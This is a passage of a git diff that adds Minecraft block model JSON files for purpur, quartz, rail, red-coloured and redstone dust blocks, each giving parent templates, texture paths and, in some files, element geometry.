"textures": { + "all": "minecraft:block/purple_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/purpur_block.json b/src/assets/minecraft/models/block/purpur_block.json new file mode 100644 index 00000000..c0bc8076 --- /dev/null +++ b/src/assets/minecraft/models/block/purpur_block.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/purpur_block" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/purpur_pillar.json b/src/assets/minecraft/models/block/purpur_pillar.json new file mode 100644 index 00000000..f35e1ddc --- /dev/null +++ b/src/assets/minecraft/models/block/purpur_pillar.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/purpur_pillar_top", + "side": "minecraft:block/purpur_pillar" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/purpur_pillar_horizontal.json b/src/assets/minecraft/models/block/purpur_pillar_horizontal.json new file mode 100644 index 00000000..d047a8f7 --- /dev/null +++ b/src/assets/minecraft/models/block/purpur_pillar_horizontal.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column_horizontal", + "textures": { + "end": "minecraft:block/purpur_pillar_top", + "side": "minecraft:block/purpur_pillar" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/purpur_slab.json b/src/assets/minecraft/models/block/purpur_slab.json new file mode 100644 index 00000000..b07df68a --- /dev/null +++ b/src/assets/minecraft/models/block/purpur_slab.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab", + "textures": { + "bottom": "minecraft:block/purpur_block", + "top": "minecraft:block/purpur_block", + "side": "minecraft:block/purpur_block" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/purpur_slab_top.json b/src/assets/minecraft/models/block/purpur_slab_top.json new file mode 100644 index 00000000..b0dbd3ce --- /dev/null +++ b/src/assets/minecraft/models/block/purpur_slab_top.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab_top", + "textures": { + "bottom": "minecraft:block/purpur_block", + "top": "minecraft:block/purpur_block", + "side": "minecraft:block/purpur_block" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/purpur_stairs.json b/src/assets/minecraft/models/block/purpur_stairs.json new file mode 100644 index 00000000..49301793 --- /dev/null +++ b/src/assets/minecraft/models/block/purpur_stairs.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/stairs", + "textures": { + "bottom": "minecraft:block/purpur_block", + "top": "minecraft:block/purpur_block", + "side": "minecraft:block/purpur_block" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/purpur_stairs_inner.json b/src/assets/minecraft/models/block/purpur_stairs_inner.json new file mode 100644 index 00000000..11203cc3 --- /dev/null +++ b/src/assets/minecraft/models/block/purpur_stairs_inner.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/inner_stairs", + "textures": { + "bottom": "minecraft:block/purpur_block", + "top": "minecraft:block/purpur_block", + "side": "minecraft:block/purpur_block" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/purpur_stairs_outer.json b/src/assets/minecraft/models/block/purpur_stairs_outer.json new file mode 100644 index 00000000..2722f4c6 --- /dev/null +++ b/src/assets/minecraft/models/block/purpur_stairs_outer.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/outer_stairs", + "textures": { + "bottom": "minecraft:block/purpur_block", + "top": "minecraft:block/purpur_block", + "side": "minecraft:block/purpur_block" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/quartz_block.json b/src/assets/minecraft/models/block/quartz_block.json new file mode 100644 index 00000000..863b82e5 --- /dev/null +++ b/src/assets/minecraft/models/block/quartz_block.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/quartz_block_top", + "side": "minecraft:block/quartz_block_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/quartz_bricks.json b/src/assets/minecraft/models/block/quartz_bricks.json new file mode 100644 index 00000000..f2b85517 --- /dev/null +++ b/src/assets/minecraft/models/block/quartz_bricks.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/quartz_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/quartz_pillar.json b/src/assets/minecraft/models/block/quartz_pillar.json new file mode 100644 index 00000000..fc1845e7 --- /dev/null +++ b/src/assets/minecraft/models/block/quartz_pillar.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/quartz_pillar_top", + "side": "minecraft:block/quartz_pillar" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/quartz_pillar_horizontal.json b/src/assets/minecraft/models/block/quartz_pillar_horizontal.json new file mode 100644 index 00000000..38b07ba1 --- /dev/null +++ b/src/assets/minecraft/models/block/quartz_pillar_horizontal.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column_horizontal", + "textures": { + "end": "minecraft:block/quartz_pillar_top", + "side": "minecraft:block/quartz_pillar" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/quartz_slab.json b/src/assets/minecraft/models/block/quartz_slab.json new file mode 100644 index 00000000..6601321e --- /dev/null +++ b/src/assets/minecraft/models/block/quartz_slab.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab", + "textures": { + "bottom": "minecraft:block/quartz_block_top", + "top": "minecraft:block/quartz_block_top", + "side": "minecraft:block/quartz_block_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/quartz_slab_top.json b/src/assets/minecraft/models/block/quartz_slab_top.json new file mode 100644 index 00000000..c3be8889 --- /dev/null +++ b/src/assets/minecraft/models/block/quartz_slab_top.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab_top", + "textures": { + "bottom": "minecraft:block/quartz_block_top", + "top": "minecraft:block/quartz_block_top", + "side": "minecraft:block/quartz_block_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/quartz_stairs.json b/src/assets/minecraft/models/block/quartz_stairs.json new file mode 100644 index 00000000..f1e00fd9 --- /dev/null +++ b/src/assets/minecraft/models/block/quartz_stairs.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/stairs", + "textures": { + "bottom": "minecraft:block/quartz_block_top", + "top": "minecraft:block/quartz_block_top", + "side": "minecraft:block/quartz_block_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/quartz_stairs_inner.json b/src/assets/minecraft/models/block/quartz_stairs_inner.json new file mode 100644 index 00000000..5ec96b89 --- /dev/null +++ b/src/assets/minecraft/models/block/quartz_stairs_inner.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/inner_stairs", + "textures": { + "bottom": "minecraft:block/quartz_block_top", + "top": "minecraft:block/quartz_block_top", + "side": "minecraft:block/quartz_block_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/quartz_stairs_outer.json b/src/assets/minecraft/models/block/quartz_stairs_outer.json new file mode 100644 index 00000000..78ea6b4e --- /dev/null +++ b/src/assets/minecraft/models/block/quartz_stairs_outer.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/outer_stairs", + "textures": { + "bottom": "minecraft:block/quartz_block_top", + "top": "minecraft:block/quartz_block_top", + "side": "minecraft:block/quartz_block_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/rail.json b/src/assets/minecraft/models/block/rail.json new file mode 100644 index 00000000..0f7a0244 --- /dev/null +++ b/src/assets/minecraft/models/block/rail.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/rail_flat", + "textures": { + "rail": "minecraft:block/rail" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/rail_corner.json b/src/assets/minecraft/models/block/rail_corner.json new file mode 100644 index 00000000..ea109639 --- /dev/null +++ b/src/assets/minecraft/models/block/rail_corner.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/rail_curved", + "textures": { + "rail": "minecraft:block/rail_corner" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/rail_curved.json b/src/assets/minecraft/models/block/rail_curved.json new file mode 100644 index 00000000..299a44ba --- /dev/null +++ b/src/assets/minecraft/models/block/rail_curved.json @@ -0,0 +1,15 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "#rail" + }, + "elements": [ + { "from": [ 0, 1, 0 ], + "to": [ 16, 1, 16 ], + "faces": { + "down": { "uv": [ 0, 16, 16, 0 ], "texture": "#rail" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#rail" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/rail_flat.json b/src/assets/minecraft/models/block/rail_flat.json new file mode 100644 index 00000000..299a44ba --- /dev/null +++ b/src/assets/minecraft/models/block/rail_flat.json @@ -0,0 +1,15 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "#rail" + }, + "elements": [ + { "from": [ 0, 1, 0 ], + "to": [ 16, 1, 16 ], + "faces": { + "down": { "uv": [ 0, 16, 16, 0 ], "texture": "#rail" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#rail" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/rail_raised_ne.json b/src/assets/minecraft/models/block/rail_raised_ne.json new file mode 100644 index 00000000..a51c59fd --- /dev/null +++ b/src/assets/minecraft/models/block/rail_raised_ne.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_rail_raised_ne", + "textures": { + "rail": "minecraft:block/rail" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/rail_raised_sw.json b/src/assets/minecraft/models/block/rail_raised_sw.json new file mode 100644 index 00000000..4d48c089 --- /dev/null +++ b/src/assets/minecraft/models/block/rail_raised_sw.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_rail_raised_sw", + "textures": { + "rail": "minecraft:block/rail" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/red_carpet.json b/src/assets/minecraft/models/block/red_carpet.json new file mode 100644 index 00000000..c31f191e --- /dev/null +++ b/src/assets/minecraft/models/block/red_carpet.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/carpet", + "textures": { + "wool": "minecraft:block/red_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/red_concrete.json b/src/assets/minecraft/models/block/red_concrete.json new file mode 100644 index 00000000..aed4725e --- /dev/null +++ b/src/assets/minecraft/models/block/red_concrete.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/red_concrete" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/red_concrete_powder.json b/src/assets/minecraft/models/block/red_concrete_powder.json new file mode 100644 index 00000000..69ada128 --- /dev/null +++ b/src/assets/minecraft/models/block/red_concrete_powder.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/red_concrete_powder" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/red_glazed_terracotta.json b/src/assets/minecraft/models/block/red_glazed_terracotta.json new file mode 100644 index 00000000..baf6a0df --- /dev/null +++ b/src/assets/minecraft/models/block/red_glazed_terracotta.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glazed_terracotta", + "textures": { + "pattern": "minecraft:block/red_glazed_terracotta" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/red_mushroom.json b/src/assets/minecraft/models/block/red_mushroom.json new file mode 100644 index 00000000..4dd14e49 --- /dev/null +++ b/src/assets/minecraft/models/block/red_mushroom.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/red_mushroom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/red_mushroom_block.json b/src/assets/minecraft/models/block/red_mushroom_block.json new file mode 100644 index 00000000..14ac5d54 --- /dev/null +++ b/src/assets/minecraft/models/block/red_mushroom_block.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_single_face", + "textures": { + "texture": "minecraft:block/red_mushroom_block" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/red_mushroom_block_inventory.json b/src/assets/minecraft/models/block/red_mushroom_block_inventory.json new file mode 100644 index 00000000..588dd72a --- /dev/null +++ b/src/assets/minecraft/models/block/red_mushroom_block_inventory.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/red_mushroom_block" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/red_nether_brick_slab.json b/src/assets/minecraft/models/block/red_nether_brick_slab.json new file mode 100644 index 00000000..1da99970 --- /dev/null +++ b/src/assets/minecraft/models/block/red_nether_brick_slab.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab", + "textures": { + "bottom": "minecraft:block/red_nether_bricks", + "top": "minecraft:block/red_nether_bricks", + "side": "minecraft:block/red_nether_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/red_nether_brick_slab_top.json b/src/assets/minecraft/models/block/red_nether_brick_slab_top.json new file mode 100644 index 00000000..ede365ab --- /dev/null +++ b/src/assets/minecraft/models/block/red_nether_brick_slab_top.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab_top", + "textures": { + "bottom": "minecraft:block/red_nether_bricks", + "top": "minecraft:block/red_nether_bricks", + "side": "minecraft:block/red_nether_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/red_nether_brick_stairs.json b/src/assets/minecraft/models/block/red_nether_brick_stairs.json new file mode 100644 index 00000000..3168d7aa --- /dev/null +++ b/src/assets/minecraft/models/block/red_nether_brick_stairs.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/stairs", + "textures": { + "bottom": "minecraft:block/red_nether_bricks", + "top": "minecraft:block/red_nether_bricks", + "side": "minecraft:block/red_nether_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/red_nether_brick_stairs_inner.json b/src/assets/minecraft/models/block/red_nether_brick_stairs_inner.json new file mode 100644 index 00000000..34932cc2 --- /dev/null +++ b/src/assets/minecraft/models/block/red_nether_brick_stairs_inner.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/inner_stairs", + "textures": { + "bottom": "minecraft:block/red_nether_bricks", + "top": "minecraft:block/red_nether_bricks", + "side": "minecraft:block/red_nether_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/red_nether_brick_stairs_outer.json b/src/assets/minecraft/models/block/red_nether_brick_stairs_outer.json new file mode 100644 index 00000000..e8632432 --- /dev/null +++ b/src/assets/minecraft/models/block/red_nether_brick_stairs_outer.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/outer_stairs", + "textures": { + "bottom": "minecraft:block/red_nether_bricks", + "top": "minecraft:block/red_nether_bricks", + "side": "minecraft:block/red_nether_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/red_nether_brick_wall_inventory.json b/src/assets/minecraft/models/block/red_nether_brick_wall_inventory.json new file mode 100644 index 00000000..aeaa716e --- /dev/null +++ b/src/assets/minecraft/models/block/red_nether_brick_wall_inventory.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/wall_inventory", + "textures": { + "wall": "minecraft:block/red_nether_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/red_nether_brick_wall_post.json b/src/assets/minecraft/models/block/red_nether_brick_wall_post.json new file mode 100644 index 00000000..9fa44bde --- /dev/null +++ b/src/assets/minecraft/models/block/red_nether_brick_wall_post.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_post", + "textures": { + "wall": "minecraft:block/red_nether_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/red_nether_brick_wall_side.json b/src/assets/minecraft/models/block/red_nether_brick_wall_side.json new file mode 100644 index 00000000..e8f23ec6 --- /dev/null +++ b/src/assets/minecraft/models/block/red_nether_brick_wall_side.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_side", + "textures": { + "wall": "minecraft:block/red_nether_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/red_nether_brick_wall_side_tall.json b/src/assets/minecraft/models/block/red_nether_brick_wall_side_tall.json new file mode 100644 index 00000000..6546ecec --- /dev/null +++ b/src/assets/minecraft/models/block/red_nether_brick_wall_side_tall.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_side_tall", + "textures": { + "wall": "minecraft:block/red_nether_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/red_nether_bricks.json b/src/assets/minecraft/models/block/red_nether_bricks.json new file mode 100644 index 00000000..a13b8381 --- /dev/null +++ b/src/assets/minecraft/models/block/red_nether_bricks.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/red_nether_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/red_sand.json b/src/assets/minecraft/models/block/red_sand.json new file mode 100644 index 00000000..d6f5cecf --- /dev/null +++ b/src/assets/minecraft/models/block/red_sand.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/red_sand" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/red_sandstone.json b/src/assets/minecraft/models/block/red_sandstone.json new file mode 100644 index 00000000..93aab351 --- /dev/null +++ b/src/assets/minecraft/models/block/red_sandstone.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/cube_bottom_top", + "textures": { + "top": "minecraft:block/red_sandstone_top", + "bottom": "minecraft:block/red_sandstone_bottom", + "side": "minecraft:block/red_sandstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/red_sandstone_slab.json b/src/assets/minecraft/models/block/red_sandstone_slab.json new file mode 100644 index 00000000..6c8d9408 --- /dev/null +++ b/src/assets/minecraft/models/block/red_sandstone_slab.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab", + "textures": { + "bottom": "minecraft:block/red_sandstone_bottom", + "top": "minecraft:block/red_sandstone_top", + "side": "minecraft:block/red_sandstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/red_sandstone_slab_top.json b/src/assets/minecraft/models/block/red_sandstone_slab_top.json new file mode 100644 index 00000000..26af4981 --- /dev/null +++ b/src/assets/minecraft/models/block/red_sandstone_slab_top.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab_top", + "textures": { + "bottom": "minecraft:block/red_sandstone_bottom", + "top": "minecraft:block/red_sandstone_top", + "side": "minecraft:block/red_sandstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/red_sandstone_stairs.json b/src/assets/minecraft/models/block/red_sandstone_stairs.json new file mode 100644 index 00000000..7926d785 --- /dev/null +++ b/src/assets/minecraft/models/block/red_sandstone_stairs.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/stairs", + "textures": { + "bottom": "minecraft:block/red_sandstone_bottom", + "top": "minecraft:block/red_sandstone_top", + "side": "minecraft:block/red_sandstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/red_sandstone_stairs_inner.json b/src/assets/minecraft/models/block/red_sandstone_stairs_inner.json new file mode 100644 index 00000000..591a5c39 --- /dev/null +++ b/src/assets/minecraft/models/block/red_sandstone_stairs_inner.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/inner_stairs", + "textures": { + "bottom": "minecraft:block/red_sandstone_bottom", + "top": "minecraft:block/red_sandstone_top", + "side": "minecraft:block/red_sandstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/red_sandstone_stairs_outer.json b/src/assets/minecraft/models/block/red_sandstone_stairs_outer.json new file mode 100644 index 00000000..2dec12af --- /dev/null +++ b/src/assets/minecraft/models/block/red_sandstone_stairs_outer.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/outer_stairs", + "textures": { + "bottom": "minecraft:block/red_sandstone_bottom", + "top": "minecraft:block/red_sandstone_top", + "side": "minecraft:block/red_sandstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/red_sandstone_wall_inventory.json b/src/assets/minecraft/models/block/red_sandstone_wall_inventory.json new file mode 100644 index 00000000..efec8f3f --- /dev/null +++ b/src/assets/minecraft/models/block/red_sandstone_wall_inventory.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/wall_inventory", + "textures": { + "wall": "minecraft:block/red_sandstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/red_sandstone_wall_post.json b/src/assets/minecraft/models/block/red_sandstone_wall_post.json new file mode 100644 index 00000000..ab117588 --- /dev/null +++ b/src/assets/minecraft/models/block/red_sandstone_wall_post.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_post", + "textures": { + "wall": "minecraft:block/red_sandstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/red_sandstone_wall_side.json b/src/assets/minecraft/models/block/red_sandstone_wall_side.json new file mode 100644 index 00000000..798b2f91 --- /dev/null +++ b/src/assets/minecraft/models/block/red_sandstone_wall_side.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_side", + "textures": { + "wall": "minecraft:block/red_sandstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/red_sandstone_wall_side_tall.json b/src/assets/minecraft/models/block/red_sandstone_wall_side_tall.json new file mode 100644 index 00000000..b8cc6d37 --- /dev/null +++ b/src/assets/minecraft/models/block/red_sandstone_wall_side_tall.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_side_tall", + "textures": { + "wall": "minecraft:block/red_sandstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/red_shulker_box.json b/src/assets/minecraft/models/block/red_shulker_box.json new file mode 100644 index 00000000..4414a86e --- /dev/null +++ b/src/assets/minecraft/models/block/red_shulker_box.json @@ -0,0 +1,5 @@ +{ + "textures": { + "particle": "minecraft:block/red_shulker_box" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/red_stained_glass.json b/src/assets/minecraft/models/block/red_stained_glass.json new file mode 100644 index 00000000..fd841d4e --- /dev/null +++ b/src/assets/minecraft/models/block/red_stained_glass.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/red_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/red_stained_glass_pane_noside.json b/src/assets/minecraft/models/block/red_stained_glass_pane_noside.json new file mode 100644 index 00000000..30aee4a9 --- /dev/null +++ b/src/assets/minecraft/models/block/red_stained_glass_pane_noside.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glass_pane_noside", + "textures": { + "pane": "minecraft:block/red_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/red_stained_glass_pane_noside_alt.json b/src/assets/minecraft/models/block/red_stained_glass_pane_noside_alt.json new file mode 100644 index 00000000..051e7ebe --- /dev/null +++ b/src/assets/minecraft/models/block/red_stained_glass_pane_noside_alt.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glass_pane_noside_alt", + "textures": { + "pane": "minecraft:block/red_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/red_stained_glass_pane_post.json b/src/assets/minecraft/models/block/red_stained_glass_pane_post.json new file mode 100644 index 00000000..90714e32 --- /dev/null +++ b/src/assets/minecraft/models/block/red_stained_glass_pane_post.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_post", + "textures": { + "pane": "minecraft:block/red_stained_glass", + "edge": "minecraft:block/red_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/red_stained_glass_pane_side.json b/src/assets/minecraft/models/block/red_stained_glass_pane_side.json new file mode 100644 index 00000000..0cdf2ff9 --- /dev/null +++ b/src/assets/minecraft/models/block/red_stained_glass_pane_side.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_side", + "textures": { + "pane": "minecraft:block/red_stained_glass", + "edge": "minecraft:block/red_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/red_stained_glass_pane_side_alt.json b/src/assets/minecraft/models/block/red_stained_glass_pane_side_alt.json new file mode 100644 index 00000000..8f3daf65 --- /dev/null +++ b/src/assets/minecraft/models/block/red_stained_glass_pane_side_alt.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_side_alt", + "textures": { + "pane": "minecraft:block/red_stained_glass", + "edge": "minecraft:block/red_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/red_terracotta.json b/src/assets/minecraft/models/block/red_terracotta.json new file mode 100644 index 00000000..14908068 --- /dev/null +++ b/src/assets/minecraft/models/block/red_terracotta.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/red_terracotta" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/red_tulip.json b/src/assets/minecraft/models/block/red_tulip.json new file mode 100644 index 00000000..1c0c290b --- /dev/null +++ b/src/assets/minecraft/models/block/red_tulip.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/red_tulip" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/red_wool.json b/src/assets/minecraft/models/block/red_wool.json new file mode 100644 index 00000000..72267b62 --- /dev/null +++ b/src/assets/minecraft/models/block/red_wool.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/red_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/redstone_block.json b/src/assets/minecraft/models/block/redstone_block.json new file mode 100644 index 00000000..b3942b36 --- /dev/null +++ b/src/assets/minecraft/models/block/redstone_block.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/redstone_block" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/redstone_dust_dot.json b/src/assets/minecraft/models/block/redstone_dust_dot.json new file mode 100644 index 00000000..4a8cda17 --- /dev/null +++ b/src/assets/minecraft/models/block/redstone_dust_dot.json @@ -0,0 +1,26 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/redstone_dust_dot", + "line": "block/redstone_dust_dot", + "overlay": "block/redstone_dust_overlay" + }, + "elements": [ + { "from": [ 0, 0.25, 0 ], + "to": [ 16, 0.25, 16 ], + "shade": false, + "faces": { + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#line", "tintindex": 0 }, + "down": { "uv": [ 0, 16, 16, 0 ], "texture": "#line", "tintindex": 0 } + } + }, + { "from": [ 0, 0.25, 0 ], + "to": [ 16, 0.25, 16 ], + "shade": false, + "faces": { + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#overlay" }, + "down": { "uv": [ 0, 16, 16, 0 ], "texture": "#overlay" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/redstone_dust_side.json b/src/assets/minecraft/models/block/redstone_dust_side.json new file mode 100644 index 00000000..523a4117 --- /dev/null +++ b/src/assets/minecraft/models/block/redstone_dust_side.json @@ -0,0 +1,25 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/redstone_dust_dot", + "overlay": "block/redstone_dust_overlay" + }, + "elements": [ + { "from": [ 0, 0.25, 0 ], + "to": [ 16, 0.25, 8 ], + "shade": false, + "faces": { + "up": { "uv": [ 0, 0, 16, 8 ], "texture": "#line", "tintindex": 0 }, + "down": { "uv": [ 0, 8, 16, 0 ], "texture": "#line", "tintindex": 0 } + } + }, + { "from": [ 0, 0.25, 0 ], + "to": [ 16, 0.25, 8 ], + "shade": false, + "faces": { + "up": { "uv": [ 0, 0, 16, 8 ], "texture": "#overlay" }, + "down": { "uv": [ 0, 8, 16, 0 ], "texture": "#overlay" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/redstone_dust_side0.json b/src/assets/minecraft/models/block/redstone_dust_side0.json new file mode 100644 index 00000000..8ba2e73e --- /dev/null +++ b/src/assets/minecraft/models/block/redstone_dust_side0.json @@ -0,0 +1,6 @@ +{ + "parent": "block/redstone_dust_side", + "textures": { + "line": "block/redstone_dust_line0" + } +} diff --git a/src/assets/minecraft/models/block/redstone_dust_side1.json b/src/assets/minecraft/models/block/redstone_dust_side1.json new file mode 100644 index 00000000..1f545393 --- /dev/null +++ b/src/assets/minecraft/models/block/redstone_dust_side1.json @@ -0,0 +1,6 @@ +{ + "parent": "block/redstone_dust_side", + "textures": { + "line": "block/redstone_dust_line1" + } +} diff --git a/src/assets/minecraft/models/block/redstone_dust_side_alt.json b/src/assets/minecraft/models/block/redstone_dust_side_alt.json new file mode 100644 index 00000000..8b58a46c --- /dev/null +++ b/src/assets/minecraft/models/block/redstone_dust_side_alt.json @@ -0,0 +1,25 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/redstone_dust_dot", + "overlay": "block/redstone_dust_overlay" + }, + "elements": [ + { "from": [ 0, 0.25, 8 ], + "to": [ 16, 0.25, 16 ], + "shade": false, + "faces": { + "up": { "uv": [ 0, 8, 16, 16 ], "texture": "#line", "tintindex": 0 }, + "down": { "uv": [ 0, 16, 16, 8 ], "texture": "#line", "tintindex": 0 } + } + }, + { "from": [ 0, 0.25, 8 ], + "to": [ 16, 0.25, 16 ], + "shade": false, + "faces": { + "up": { "uv": [ 0, 8, 16, 16 ], "texture": "#overlay" }, 